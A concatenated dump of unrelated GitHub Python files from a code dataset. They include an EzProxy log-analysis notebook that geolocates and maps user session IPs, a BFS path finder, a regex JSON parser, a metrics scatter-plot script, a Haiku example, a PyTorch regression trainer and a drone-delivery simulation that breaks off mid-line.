results['threat']['is_proxy']\n #threat_is_anonymous = results['threat']['is_anonymous']\n #threat_is_known_attacker = results['threat']['is_known_attacker']\n #threat_is_known_abuser = results['threat']['is_known_abuser']\n #threat_is_threat = results['threat']['is_threat']\n #threat_is_bogon = results['threat']['is_bogon']\n dsize = \"\"\n continent_name = \"\"\n threat_is_tor = \"\"\n threat_is_proxy = \"\"\n threat_is_anonymous = \"\"\n threat_is_known_attacker = \"\"\n threat_is_known_abuser = \"\"\n threat_is_threat = \"\"\n threat_is_bogon = \"\"\n audit_writer.writerow([x,lat,lon,city,dsize,continent_name,\n threat_is_tor,threat_is_proxy,threat_is_anonymous,\n threat_is_known_attacker,threat_is_known_abuser,\n threat_is_threat,threat_is_bogon])\n z = z + 1\n time.sleep(1.0)\n #time.sleep(0.2)\n for x in ips2:\n url = \"http://ip-api.com/json/\" + x\n #apikey = \"\"\n #url = \"https://api.ipdata.co/\" + x + \"?api-key=\" + apikey\n r = requests.get(url)\n results = r.json()\n if len(results) > 1:\n lat = results['lat']\n lon = results['lon']\n city = results['city']\n #lat = results['latitude']\n #lon = results['longitude']\n #continent_name = results['continent_name']\n #threat_is_tor = results['threat']['is_tor']\n #threat_is_proxy = results['threat']['is_proxy']\n #threat_is_anonymous = results['threat']['is_anonymous']\n #threat_is_known_attacker = results['threat']['is_known_attacker']\n #threat_is_known_abuser = results['threat']['is_known_abuser']\n #threat_is_threat = results['threat']['is_threat']\n #threat_is_bogon = results['threat']['is_bogon']\n dsize = \"\"\n continent_name = \"\"\n threat_is_tor = \"\"\n threat_is_proxy = \"\"\n threat_is_anonymous = \"\"\n threat_is_known_attacker = \"\"\n threat_is_known_abuser = \"\"\n threat_is_threat = \"\"\n threat_is_bogon = \"\"\n audit_writer.writerow([x,lat,lon,city,dsize,continent_name,\n threat_is_tor,threat_is_proxy,threat_is_anonymous,\n threat_is_known_attacker,threat_is_known_abuser,\n threat_is_threat,threat_is_bogon])\n z = z + 1\n time.sleep(1.0)\n #time.sleep(0.2) \n myLog = \"Audit log CSV created\"\n logs = pd.read_csv(thisFile)\n logZ = logs\n os.remove(thisFile)\n # Projection one\n plt.figure(figsize=(18, 15))\n m = Basemap(projection=\"lcc\", width=9E6, height=5E6, lat_0=logZ['lat'][0], lon_0=logZ['lon'][0])\n m.shadedrelief()\n lat = logZ['lat']\n lon = logZ['lon']\n for i in range(0,len(lat)-1):\n x,y = m(lon[i],lat[i])\n m.plot(x, y, 'or', markersize=15, alpha=0.4)\n #plt.savefig('./imgs/ezproxy_intrusion_'+users[0]+'_'+thisDate2+'_log.png', bbox_inches = \"tight\")\n with outD:\n clear_output()\n plt.show();\n # Projection two\n plt.figure(figsize=(17,17))\n ax = plt.axes(projection=ccrs.PlateCarree())\n ax.set_title('EzProxy User | ' + users[0] + ' | ' + thisDate2,y=1.08)\n ax.set_global()\n ax.coastlines(linewidth=0.6)\n ax.stock_img()\n ax.gridlines(xlocs=range(-180,181,40), ylocs=range(-80,81,20),draw_labels=False)\n ax.gridlines(xlocs=range(-140,181,40), ylocs=range(-80,81,20),draw_labels=True)\n ax.text(-0.05,0,'Latitude', transform=ax.transAxes, rotation='vertical', va='bottom')\n ax.text(0,-0.07,'Longitude', transform=ax.transAxes, ha='left')\n for index, row in logs.iterrows():\n lat = row['lat']\n lon = row['lon']\n latx = lat - 1.5\n lonx = lon + 3.5\n city = row['city']\n ds = row['dsize']\n if ds != \"L\":\n ax.plot(lon, lat, marker='o', markersize=10, markerfacecolor='#FF0000')\n else:\n msg = \"Do not plot\"\n #ax.text(lonx, latx, city, fontsize=12, color='black')\n #plt.savefig('./imgs/ezproxy_intrusion_'+users[0]+'_'+thisDate2+'_audit.png', bbox_inches = \"tight\")\n with outC:\n clear_output()\n sessdown = widgets.Button(description=\"View Activity\",layout=Layout(width=\"270px\"))\n display(sessdown)\n sessdown.on_click(on_platform)\n with outF:\n clear_output()\n with outE:\n clear_output()\n with outG:\n clear_output()\n plt.show();\n\n\n# In[16]:\n\n\ndef on_platform(b):\n global errorsA\n global errorsB\n global errorsC\n global data3\n errorsA = []\n errorsB = []\n errorsC = []\n thisUser = ddown.value\n with outE:\n clear_output()\n print(\"\\t\" + str(sessDate) + \" / \" + thisUser + \" : This may take a minute ...\",end=\"\\n\\n\")\n with outF:\n clear_output()\n try:\n with outE:\n print(\"\\tLoading log ...\",end=\"\\n\\n\")\n data = pd.read_csv(\"./data_e/ezproxy\" + sessDate + \".log\", sep=\" \", header=None, error_bad_lines=False, warn_bad_lines=False)\n data.columns = [\"ipaddress\", \"sessionid\", \"url\", \"urlsessionid\", \"adate\", \"azone\", \"adomain\", \"astatus\", \"asize\"]\n #data2 = data\n data2 = pd.DataFrame(data[data[\"sessionid\"].isin(sessions)])\n data2.reset_index(drop=True, inplace=True)\n with outE:\n print(\"\\tParsing sessions ...\",end=\"\\n\\n\")\n data3 = {\"ipaddress\":[], \"sessionid\":[], \"url\":[], \"time\":[], \"size\":[]}\n except ValueError as e:\n errorsA.append(\"Catch 1 E: \" + str(e))\n except IOError as e:\n errorsA.append(\"Catch 1a E: \" + str(e))\n except:\n errorsA.append(\"Catch 1b E: \", sys.exc_info()[0])\n try:\n with outE:\n print(\"\\tIterate over rows ...\",end=\"\\n\\n\")\n for i in data2.index:\n adate = data2.get_value(i,'adate')\n asize = data2.get_value(i,'asize')\n sessionid = data2.get_value(i,'sessionid')\n ipaddress = data2.get_value(i,'ipaddress')\n domain = data2.get_value(i,'url')\n matches = re.search(\"login\", domain)\n matchesb = re.search(\"http[s]?://ezproxy.uws.edu.au\", domain)\n adatex, datex = re.split(\"\\[\", adate)\n datex = pd.to_datetime(datex, format=\"%d/%b/%Y:%H:%M:%S\")\n datex = datex.strftime('%H:%M')\n if domain is not None and domain != \"\" and domain != \"-\" and matches is None and matchesb is None:\n try:\n dom, domy = re.split(\".ezproxy.uws.edu.au\", domain)\n except ValueError as e:\n domain = re.sub(\"\\-\",\".\",str(domain))\n extracted = tldextract.extract(domain)\n domain = extracted.domain\n errorsB.append(str(domain))\n dom = None\n except IOError as e:\n errorsB.append(\"Catch 2 E: \" + str(e))\n dom = None\n except:\n errorsB.append(\"Catch 2a E: \", sys.exc_info()[0])\n dom = None\n else:\n if domain is not None and domain != \"\" and domain != \"-\":\n domain = re.sub(\"\\-\",\".\",str(domain))\n extracted = tldextract.extract(domain)\n domain = extracted.domain\n errorsB.append(str(domain))\n dom = None\n try:\n if str(sessionid) != \"-\" and str(sessionid) != \"\" and str(dom) != \"\" and str(dom) != \"None\":\n dom = re.sub(\"\\-\",\".\",str(dom))\n extracted = tldextract.extract(dom)\n dom = extracted.domain\n data3[\"ipaddress\"].append(str(ipaddress))\n data3[\"sessionid\"].append(str(sessionid))\n data3[\"url\"].append(str(dom))\n data3[\"time\"].append(datex)\n data3[\"size\"].append(asize)\n else:\n if matches is not None or matchesb is not None:\n errorsB.append(\"ezproxy\")\n else:\n domain = re.sub(\"\\-\",\".\",str(data2.get_value(i,'url')))\n extracted = tldextract.extract(domain)\n domain = extracted.domain\n errorsB.append(str(domain))\n except ValueError as v:\n errorsB.append(\"Catch 2b E: \" + str(v))\n except IOError as v:\n errorsB.append(\"Catch 2c E: \" + str(v))\n except:\n errorsB.append(\"Catch 2d E: sess \" + str(type(sessionid)) + \" dom \" + str(type(dom)) + \" error \" + str(sys.exc_info()[0]))\n except ValueError as z:\n errorsC.append(\"Catch 3 E: \" + str(z))\n except IOError as z:\n errorsC.append(\"Catch 3b E: \" + str(z))\n except:\n errorsC.append(\"Catch 3c E: \", sys.exc_info()[0])\n with outE:\n print(\"\\n\\n\\tGrouping and counting results\",end=\"\\n\\n\")\n try:\n df = pd.DataFrame(data3)\n df2 = df[df.sessionid.isin(sessions)]\n df3 = df2.groupby(['url'], as_index=False)['size'].agg(['sum','count'])\n except ValueError as e:\n errorsC.append(\"Catch 3d E: \" + str(e))\n except IOError as e:\n errorsC.append(\"Catch 3e E: \" + str(e))\n except:\n errorsC.append(\"Catch 3f E: \", sys.exc_info()[0])\n with outE:\n clear_output()\n display(HTML('

Vendor Resources

'))\n display(df3)\n dfObj = pd.DataFrame(errorsB, columns = ['url'])\n dfObj2 = dfObj.groupby(['url'], as_index=False)['url'].agg(['count'])\n dfObj2.drop(dfObj2[dfObj2['count'] < 2].index, inplace=True)\n dfObj2 = dfObj2.sort_values('count',ascending=False)\n with pd.option_context('display.max_rows', None, 'display.max_columns', None):\n with outF:\n clear_output()\n display(HTML('

Other Sites
 

'))\n display(dfObj2)\n try:\n if max(data3[\"time\"]) != \"\":\n display(HTML('

Most Recent Access
 

'))\n display(max(data3[\"time\"]))\n else:\n display(HTML('

No Recent Access
 

'))\n except:\n myError = \"An error\"\n\n\n# In[17]:\n\n\noutZ = widgets.Output(layout={'border': '0px solid #777777', 'height':'2.3em', 'padding': '0px', 'width':'99%'})\noutA = widgets.Output(layout={'border': '0px solid #777777', 'height':'2.3em', 'padding': '0px', 'width':'310px'})\noutB = widgets.Output(layout={'border': '0px solid #777777', 'height':'2.3em', 'padding': '0px', 'width':'310px'})\noutC = widgets.Output(layout={'border': '0px solid #777777', 'height':'2.3em', 'padding': '0px', 'width':'310px', 'left': '30px'})\noutD = widgets.Output(layout={'border': '0px solid #777777', 'height':'600px', 'padding': '0px', 'width':'99%', 'top':'25px'})\noutG = widgets.Output(layout={'border': '0px solid #777777', 'height':'600px', 'padding': '0px', 'width':'99%', 'top':'25px'})\noutE = widgets.Output(layout={'border': '0px solid #777777', 'height':'500px', 'padding': '0px', 'width':'495px', 'top':'35px', 'overflow_y':'auto', 'left': '30px'})\noutF = widgets.Output(layout={'border-left': '1px solid #777777', 'height':'500px', 'padding': '0px', 'width':'495px', 'top':'35px', 'overflow_y':'auto'})\ninterface = HBox([outA,outB,outC])\ninterfaceb = HBox([outE,outF])\ndisplay(outZ)\ndisplay(interface)\ndisplay(outG)\ndisplay(outD)\ndisplay(interfaceb)\nwith outA:\n clear_output()\n display(aDates)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"enjensor/EzProxy-Logs","sub_path":"py/ezproxy_daily_users.py","file_name":"ezproxy_daily_users.py","file_ext":"py","file_size_in_byte":21599,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"26180026134","text":"\nfrom collections import defaultdict\n\ndef init_graph():\n\n edges = []\n\n for k in range (3000//250):\n for i in range (2000//250):\n edges.append([\"{},{}\".format(k * 250, i * 250), \"{},{}\".format(k * 250, (i + 1) * 250)])\n edges.append([\"{},{}\".format(k * 250, i * 250), \"{},{}\".format((k + 1) * 250, i * 250)])\n edges.append([\"{},{}\".format(k*250,i*250),\"{},{}\".format((k+1)*250,(i+1)*250)])\n edges.append([\"{},{}\".format(k * 250, i * 250), \"{},{}\".format((k + 1) * 250, (i-1) *250)])\n graph = defaultdict(list)\n\n # Loop to iterate over every\n # edge of the graphq\n for edge in edges:\n a, b = edge[0], edge[1]\n\n # Creating the graph\n # as adjacency list\n graph[a].append(b)\n graph[b].append(a)\n return graph\n\ndef find_shortest_path(start,goal,graph):\n\n explored = []\n\n # Queue for traversing the\n # graph in the BFS\n queue = [[start]]\n\n # If the desired node is\n # reached\n if start == goal:\n print(\"Same Node\")\n return\n\n # Loop to traverse the graph\n # with the help of the queue\n while queue:\n path = queue.pop(0)\n node = path[-1]\n\n # Condition to check if the\n # current node is not visited\n if node not in explored:\n neighbours = graph[node]\n\n # Loop to iterate over the\n # neighbours of the node\n for neighbour in neighbours:\n new_path = list(path)\n new_path.append(neighbour)\n queue.append(new_path)\n\n # Condition to check if the\n # neighbour node is the goal\n if neighbour == goal:\n #print(\"Shortest path ={} , start = {}, goal = {}\".format(new_path,start,goal))\n return(new_path)\n explored.append(node)\n\n # Condition when the nodes\n # are not connected\n print(\"So sorry, but a connecting\" \\\n \"path doesn't exist :(\")\n return","repo_name":"Tarichikato/ObjectifCDR_2023","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30181863740","text":"#! /usr/local/bin/python3.4\nimport re\n\ndef loadFile(filename):\n with open(filename, \"r\") as myFile:\n lines = myFile.readlines()\n return lines\n\ndef parseSimple(fileName):\n dict = {}\n lines = loadFile(fileName)\n for items in lines:\n fields = re.findall(r'\\\"[^\\\"]+\\\"',items)\n if len(fields) != 0:\n key = re.findall(r'[^\\\"]+',fields[0])[0]\n val = re.findall(r'[^\\\"]+',fields[1])[0]\n dict[key] = val\n return dict\n\n\ndef parseLine(fileName):\n dict = {}\n lines = loadFile(fileName)\n for items in lines:\n fields = re.findall(r'\\\"[^\\\"]+\\\"',items)\n i = 0\n while i < len(fields):\n key = re.findall(r'[^\\\"]+',fields[i])[0]\n val = re.findall(r'[^\\\"]+',fields[i+1])[0]\n dict[key] = val\n i += 2\n return dict\n\n\ndef parseComplex(fileName):\n dict = {}\n lines = loadFile(fileName)\n for items in lines:\n fields = re.findall(r'\\\"[^\\\"]+\\\"|true|false|[-]?\\d+\\.\\d+|[-]?\\d+',items)\n if len(fields) != 0:\n key = re.findall(r'[^\\\"]+',fields[0])[0]\n val = re.findall(r'[^\\\"]+',fields[1])[0]\n if val == 'false':\n val = False\n if val == 'true':\n val = True\n dict[key] = val\n return dict\n\n\ndef parseComposite(fileName):\n pass\n\n\nif __name__ == \"__main__\":\n print(parseSimple(\"simple.json\"))\n print(parseLine(\"simple2.json\"))\n print(parseComplex(\"complex.json\"))\n","repo_name":"aqlan-hussin/ECE364","sub_path":"Fall 2017/Lab09/practical2.py","file_name":"practical2.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5147007519","text":"import utils\nimport argparse\nimport os\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as md\nimport random\nfrom datetime import datetime\nfrom scipy.stats.stats import pearsonr\n\ndef get_metric_data(versions_tuple, metric, according, formula, percent):\n \"\"\"Returns a tuple where the first element is a list of data and the secund is the name of the axis that will be used\"\"\"\n data = []\n if metric == \"nUsages\":\n for path,t in versions_tuple:\n nb_rows = utils.get_csv_rows_nb(path + os.path.sep + \"library-usage.csv\")\n data.append(nb_rows)\n print (\"Number of usages for \" + path + \" is \" + str(nb_rows))\n return data, \"Number of usages\" \n elif metric == \"nClients\":\n for path,t in versions_tuple:\n nb_unique_clients = utils.get_unique_clients(path + os.path.sep + \"library-usage.csv\")\n data.append(nb_unique_clients)\n print (\"Number of clients for \" + path + \" is \" + str(nb_unique_clients))\n return data, \"Number of clients\" \n elif metric == \"nMembers\":\n for path,t in versions_tuple:\n nb_unique_used_members = utils.get_unique_used_members(path + os.path.sep + \"library-usage.csv\")\n data.append(nb_unique_used_members)\n print (\"Number of members used for \" + path + \" is \" + str(nb_unique_used_members))\n return data, \"Number of members used\"\n elif metric == \"reusability-index\":\n for path,t in versions_tuple:\n members = utils.get_members_from_usage(path + os.path.sep + \"library-usage.csv\")\n reusability_index = utils.get_reusability_index(members) \n data.append(reusability_index)\n print (\"reusability index for \" + path + \" is \" + str(reusability_index))\n return data, \"Reusability Index\"\n elif metric == \"diversity\":\n for path,t in versions_tuple:\n if according == \"clients\":\n data.append(utils.get_data_to_plot(\"clients\", formula, path))\n elif according == \"members\":\n data.append(utils.get_data_to_plot(\"members\", formula, path))\n return data, \"Diversity of \" + according + \" using \" + formula + \"(%)\"\n elif metric == \"core\":\n for path,t in versions_tuple:\n size = utils.get_csv_rows_nb(path + os.path.sep + \"reuse-core-\" + str(percent) + \".csv\")\n data.append(size)\n print (\"Reuse-core size of \" + str(percent) + \"% for \" + path + \" is \" + str(size))\n return data, \"Reuse-core size (alpha = \" + str(percent) + \" %)\"\n\n########################\n#Command-line arguments#\n########################\n\nparser = argparse.ArgumentParser(description='Welcome!')\nparser.add_argument(\"--lp\", required=True, type=str, help=\"path to the repertory of the library (groupid + artifactid)\")\nparser.add_argument(\"--metric1\", required=True, choices={\"nUsages\", \"nMembers\", \"nClients\", \"reusability-index\", \"diversity\", \"core\"}, default = \"nUsages\", help=\"metric that will be on the x-axis\")\nparser.add_argument(\"--metric2\", required=True, choices={\"nUsages\", \"nMembers\", \"nClients\", \"reusability-index\", \"diversity\", \"core\"}, default = \"nUsages\", help=\"metric that will be on the y-axis\")\nparser.add_argument(\"--according1\", type=str, choices={\"clients\", \"members\"}, default = \"clients\", help=\"Which data for the diversity index of the first metric\")\nparser.add_argument(\"--according2\", type=str, choices={\"clients\", \"members\"}, default = \"clients\", help=\"Which data for the diversity index of the secund metric\")\nparser.add_argument(\"--formula1\", type=str, choices={\"pielou\", \"simpson\", \"theil\", \"gini\"}, default = \"pielou\", help=\"Diversity index formula we want to use to get diversity for first metric\")\nparser.add_argument(\"--formula2\", type=str, choices={\"pielou\", \"simpson\", \"theil\", \"gini\"}, default = \"pielou\", help=\"Diversity index formula we want to use to get diversity for secund metric\")\nparser.add_argument(\"--percent1\", type=int, default = 50, help=\"Which alpha percent for the reuse-core of the first metric\")\nparser.add_argument(\"--percent2\", type=int, default = 50, help=\"Which alpha percent for the reuse-core of the secund metric\")\nparser.add_argument(\"--o\", default=\"scatter\", type=str, help=\"file name for the output png\")\nparser.add_argument(\"--regex\", default = \"a^\", type=str, help=\"regex defining the versions that we don't want to see on the graph\")\nparser.add_argument(\"--minusages\", default=0, type=int, help=\"define the minimum usages of versions that will be shown\")\nparser.add_argument(\"--minclients\", default=0, type=int, help=\"define the minimum unique clients of versions that will be shown\")\nargs = parser.parse_args()\n\n######################\n#Getting data to plot#\n######################\n\n#getting all versions (path, timestamp) tuple which are not matching regex and which respects the minusages/minclients args \nversions_tuple= utils.get_sorted_versions_path_timestamp(args.lp, args.regex, args.minusages, args.minclients)\n\n#visit subdirectories one by one to compute the wanted values according to type argument\nprint (\"###############################\")\n\nprint (\"Computing first metric for all versions\")\n\ndata_tuple = get_metric_data(versions_tuple, args.metric1, args.according1, args.formula1, args.percent1)\nx_data = data_tuple[0]\nx_axis_title = data_tuple[1]\n \nprint (\"###############################\")\n\nprint (\"Computing secund metric for all versions\")\n\ndata_tuple = get_metric_data(versions_tuple, args.metric2, args.according2, args.formula2, args.percent2)\ny_data = data_tuple[0]\ny_axis_title = data_tuple[1]\n\nprint (\"###############################\")\n\npearson_coeff = pearsonr(x_data, y_data)\nprint (\"The pearson correlation value is \" + str(pearson_coeff[0]) + \" (p= + \" + str(pearson_coeff[1]) + \")\")\n\nprint (\"###############################\")\n######\n#Plot#\n######\n\n \n# style\nplt.style.use('seaborn-darkgrid')\n \n# create a color palette\npalette = plt.get_cmap('Set1')\n \n# scatter plot\nplt.scatter(x_data, y_data, color='r')\n \n#legend\nplt.legend(loc=2, ncol=1)\n\n#titles\nplt.title(args.lp, loc='center', fontsize=24, fontweight=0, color='black')\nplt.xlabel(x_axis_title)\nplt.ylabel(y_axis_title)\nplt.tight_layout()\nplt.savefig(args.o + '.png')\nplt.show()\n","repo_name":"Gonsama/see-usage","sub_path":"scatter.py","file_name":"scatter.py","file_ext":"py","file_size_in_byte":6246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9763389227","text":"\"\"\"\nsee https://github.com/google/jax/discussions/7801\n\nExample of how to create pytree for params to do sensitivities.\n\"\"\"\nimport numpy as np\nfrom jax.tree_util import tree_unflatten, tree_flatten, build_tree\nimport jax\nimport jax.numpy as jnp\nimport haiku as hk\n\nclass MyModule(hk.Module):\n\n def __init__(self, output_size, name=None):\n super().__init__(name=name)\n self.output_size = output_size\n\n def __call__(self, x):\n j, k = x.shape[-1], self.output_size\n w_init = hk.initializers.TruncatedNormal(1. / np.sqrt(j))\n w = hk.get_parameter(\"w\", shape=[j, k], dtype=x.dtype, init=w_init)\n b = hk.get_parameter(\"b\", shape=[k], dtype=x.dtype, init=jnp.ones)\n return jnp.dot(x, w) + b\n\n\ndef f_fn(x):\n a = MyModule(output_size=1)\n return a(x)\n\nf = hk.without_apply_rng(hk.transform(f_fn))\nx = np.random.randn(10, 2).astype(np.float32)\nrng = jax.random.PRNGKey(0)\nparams = f.init(rng, x)\nyp = f.apply(params, x)\n\n# you can hack the leaves and re-assemble\n# leaves, tree_def = tree_flatten(params)\n# p0 = tree_unflatten(tree_def, leaves)\n\n# or better to do this\np1 = {\n 'my_module': {\n 'w': jnp.array(np.random.randn(*params['my_module']['w'].shape)),\n 'b': jnp.array(np.random.randn(*params['my_module']['b'].shape))\n }\n}\np1 = hk.data_structures.to_immutable_dict(p1)\n\nyp1 = f.apply(p1, x)\n","repo_name":"cottrell/notebooks","sub_path":"jax/old/haiku_examples.py","file_name":"haiku_examples.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"14632200455","text":"import numpy as np\nimport pandas as pd\nimport time\nimport torch\nimport torch.nn as nn\n\nfrom sklearn.model_selection import train_test_split\n\n# set parameters\nbatch_size = 32\nblock_size = 53\nmax_iters = 1_200\nlearning_rate = 1e-3\neval_interval = 400\neval_iters = 20\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n# load data\ntrain = pd.read_csv('internship_train.csv')\ntrain_data, val_data = train_test_split(train, test_size=0.2, random_state=42)\n\n\ndef get_batch(split: str):\n data = train_data if split == 'train' else val_data\n xi = torch.randint(len(data), (batch_size,))\n x = torch.stack([torch.from_numpy(np.array(data.values[i][:-1], dtype=np.float32)) for i in xi])\n y = torch.stack([torch.from_numpy(np.array(data.values[i][-1], dtype=np.float32)) for i in xi])\n x, y = x.to(device), y.to(device)\n return x, y\n\n\n@torch.no_grad()\ndef estimate_loss():\n out = {}\n model.eval()\n for split in ['train', 'val']:\n losses = torch.zeros(eval_iters)\n for k in range(eval_iters):\n x, y = get_batch(split)\n _, loss = model(x, y)\n losses[k] = loss.item()\n out[split] = losses.mean()\n model.train()\n return out\n\n\nclass RMSELoss(nn.Module):\n def __init__(self):\n super().__init__()\n self.mse = nn.MSELoss()\n\n def forward(self, yhat, y):\n return torch.sqrt(self.mse(yhat, y))\n\n\ncriterion = RMSELoss()\n\n\nclass RegressionModel(nn.Module):\n def __init__(self, input_size, output_size):\n super(RegressionModel, self).__init__()\n self.linear = nn.Linear(input_size, output_size)\n\n def forward(self, x, target):\n out = self.linear(x)\n if target is not None:\n loss = criterion(out, target)\n return out, loss\n else:\n loss = None\n return out, loss\n\n\nmodel = RegressionModel(block_size, 1)\nmodel = model.to(device)\n\n# PyTorch optimizer\noptimizer = torch.optim.RMSprop(model.parameters(), lr=learning_rate)\n\n\ndef get_time():\n return time.strftime(\"%Y-%m-%dT%H-%M\")\n\n\nif __name__ == '__main__':\n for iter in range(max_iters):\n print(f'iter {iter}')\n if iter % eval_interval == 0:\n losses = estimate_loss()\n print(f'iter {iter} train loss {losses[\"train\"]:.3f} val loss {losses[\"val\"]:.3f}')\n\n xb, yb = get_batch('train')\n\n logits, loss = model(xb, yb)\n optimizer.zero_grad(set_to_none=True)\n loss.backward()\n optimizer.step()\n\n torch.save(model.state_dict(), f'model_{get_time()}.pth')\n","repo_name":"OleksDariichuk/Erosion-detection","sub_path":"Quantum/3/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41886567680","text":"from __future__ import print_function, division\nfrom math import *\nfrom copy import copy\nfrom random import randint, sample\nimport matplotlib.pyplot as plt\n\nr = None\nc = None\nmaxLoad = None\nprodObjs = None\n\nscore = 0\nT = 0\nmaxT = 0\n\nglobal finishedTurnsDistrib\nfinishedTurnsDistrib = []\n\ndef addIfNotExists(key, val, dict_):\n\tif key in dict_:\n\t\tdict_[key] += val\n\telse:\n\t\tdict_[key] = val\n\ndef distanceCompare(pos1, pos2):\n\treturn (pos1[0] - pos2[0])**2 + (pos1[1] - pos2[1])**2\n\ndef distanceTurns(pos1, pos2):\n\treturn int(ceil(sqrt(distanceCompare(pos1, pos2))))\n\n\nclass Product(object):\n\tdef __init__(self, id, weight):\n\t\tself.id = id\n\t\tself.weight = weight\n\n\nclass Warehouse(object):\n\tdef __init__(self, id, pos, products):\n\t\tself.id = id\n\t\tself.pos = pos\n\t\tself.products = products\n\t\tself.futureProducts = copy(products)\n\n\tdef maxAvailProducts(self, reqProducts):\n\t\tretProducts = {}\n\t\tfor pid in reqProducts:\n\t\t\tquantity = min(reqProducts[pid], self.futureProducts[pid])\n\t\t\tretProducts[pid] = quantity\n\t\treturn retProducts\n\n\n\tdef preTakeProducts(self, products):\n\t\tif not self.hasProducts(products):\n\t\t\traise ValueError(\"Not enough products\")\n\n\t\tfor pid in products:\n\t\t\tself.futureProducts[pid] -= products[pid]\n\n\tdef takeProducts(self, products):\n\t\tfor pid in products:\n\t\t\tif self.products[pid] < products[pid]:\n\t\t\t\traise ValueError(\"Not enough products\")\n\t\t\tself.products[pid] -= products[pid]\n\n\tdef hasProducts(self, products):\n\t\tfor pid in products:\n\t\t\tif not self.hasProduct(pid, products[pid]):\n\t\t\t\treturn False\n\t\treturn True\n\n\tdef hasProduct(self, pid, quantity):\n\t\tif self.futureProducts[pid] < quantity:\n\t\t\treturn False\n\t\treturn True\n\n\nclass Order(object):\n\tfinishedOrders = {}\n\n\tdef __init__(self, id, pos, products):\n\t\tself.id = id\n\t\tself.pos = pos\n\t\tself.products = products\n\t\tself.futureProducts = copy(products)\n\t\tself.finished = False\n\n\tdef preFinished(self):\n\t\tfor pid in self.futureProducts:\n\t\t\tif self.futureProducts[pid] > 0:\n\t\t\t\treturn False\n\t\treturn True\n\n\tdef preDeliverProducts(self, products):\n\t\tself.checkProductsCompatible(products, self.futureProducts)\n\t\tfor pid in products:\n\t\t\tself.futureProducts[pid] -= products[pid]\n\n\tdef deliverProducts(self, products):\n\t\tself.checkProductsCompatible(products, self.products)\n\t\tisFinished = True\n\t\tfor pid in products:\n\t\t\tself.products[pid] -= products[pid]\n\t\t\tif self.products[pid] > 0:\n\t\t\t\tisFinished = False\n\t\tself.finished = isFinished\n\n\tdef checkProductsCompatible(self, deliverProducts, selfProducts):\n\t\t\"\"\"Check whether order and products are compatible \n\t\t\t(order must contain products)\n\t\t\"\"\"\n\t\tfor pid in deliverProducts:\n\t\t\tif pid not in selfProducts:\n\t\t\t\traise ValueError(\"Products are not compatible with the order\")\n\t\t\tif deliverProducts[pid] > selfProducts:\n\t\t\t\traise ValueError(\"Products has too many items for this order\")\n\t\treturn True\n\n\nclass Drone(object):\n\n\tdef __init__(self, pos):\n\t\tself.pos = pos\n\t\tself.products = {}\n\t\tself.dest = None\n\t\tself.destCommand = None\n\t\tself.destProducts = None\n\t\tself.curOrders = None\n\t\tself.lastOrder = None\n\t\tself.loadWeight = 0\n\t\tself.movementTurns = 0\n\n\tdef busy(self):\n\t\treturn self.dest is not None\n\n\tdef leftWeight(self):\n\t\treturn maxLoad - self.loadWeight\n\n\tdef setLoad(self, warehouse, products, orders):\n\t\tfor p in products:\n\t\t\tif not self.canTakeProducts(warehouse, p):\n\t\t\t\traise ValueError(\"A constraint is violated: cannot load products\")\n\n\t\tself.dest = warehouse\n\t\tself.destCommand = \"LOAD\"\n\t\tself.destProducts = products\n\t\tself.movementTurns = 0\n\t\tself.curOrders = orders\n\t\tfor i in range(len(orders)):\n\t\t\torders[i].preDeliverProducts(products[i])\n\n\tdef wait(self):\n\t\tpass\n\n\tdef setDeliver(self, orders, products):\n\t\t\"\"\"\n\t\torders: list of orders\n\t\tproducts: list of dictionary of products (1 dict per order)\n\t\t\"\"\"\n\t\tself.dest = orders[0]\n\t\tself.destCommand = \"DELIVER\"\n\t\tself.destProducts = products\n\t\tself.movementTurns = 0\n\n\tdef canTakeProducts(self, warehouse, products):\n\t\tweight = self.loadWeight\n\t\tfor pid in products:\n\t\t\t#if not warehouse.hasProduct(pid, products[pid]):\n\t\t\t#\treturn False\n\t\t\tweight += prodObjs[pid].weight * products[pid]\n\t\t\tif weight > maxLoad:\n\t\t\t\treturn False\n\t\treturn True\n\n\tdef doTurn(self):\n\t\tif self.movementTurns == distanceTurns(self.pos, self.dest.pos):\n\t\t\t# We have arrived at the destination\n\t\t\tif self.destCommand == \"LOAD\":\n\t\t\t\t#print(\"LOADED\")\n\t\t\t\tfor p in self.destProducts:\n\t\t\t\t\tself.dest.takeProducts(p)\n\t\t\t\t\tfor pid in p:\n\t\t\t\t\t\taddIfNotExists(pid, p[pid], self.products)\n\t\t\t\t\t\tself.loadWeight += prodObjs[pid].weight * p[pid]\n\t\t\t\tself.pos = self.dest.pos\n\t\t\t\tself.dest = None\n\t\t\t\tself.destCommand = None\n\t\t\telif self.destCommand == \"DELIVER\":\n\t\t\t\t#print(\"DELIVERING\")\n\t\t\t\torder = self.curOrders[0]\n\t\t\t\torder.deliverProducts(self.destProducts[0])\n\t\t\t\t# Unload weight\n\t\t\t\tfor pid in self.destProducts[0]:\n\t\t\t\t\tself.products[pid] -= self.destProducts[0][pid]\n\t\t\t\t\tself.loadWeight -= prodObjs[pid].weight * \\\n\t\t\t\t\t\tself.destProducts[0][pid]\n\t\t\t\t# Check finished and update score:\n\t\t\t\tif order.finished and order.id not in Order.finishedOrders:\n\t\t\t\t\tglobal score\n\t\t\t\t\tscore += int(ceil((maxT - T) / maxT * 100))\n\t\t\t\t\tOrder.finishedOrders[order.id] = 1\n\t\t\t\t\tfinishedTurnsDistrib.append(T)\n\t\t\t\tself.lastOrder = self.curOrders[0]\n\t\t\t\tself.pos = self.dest.pos\n\t\t\t\tdel 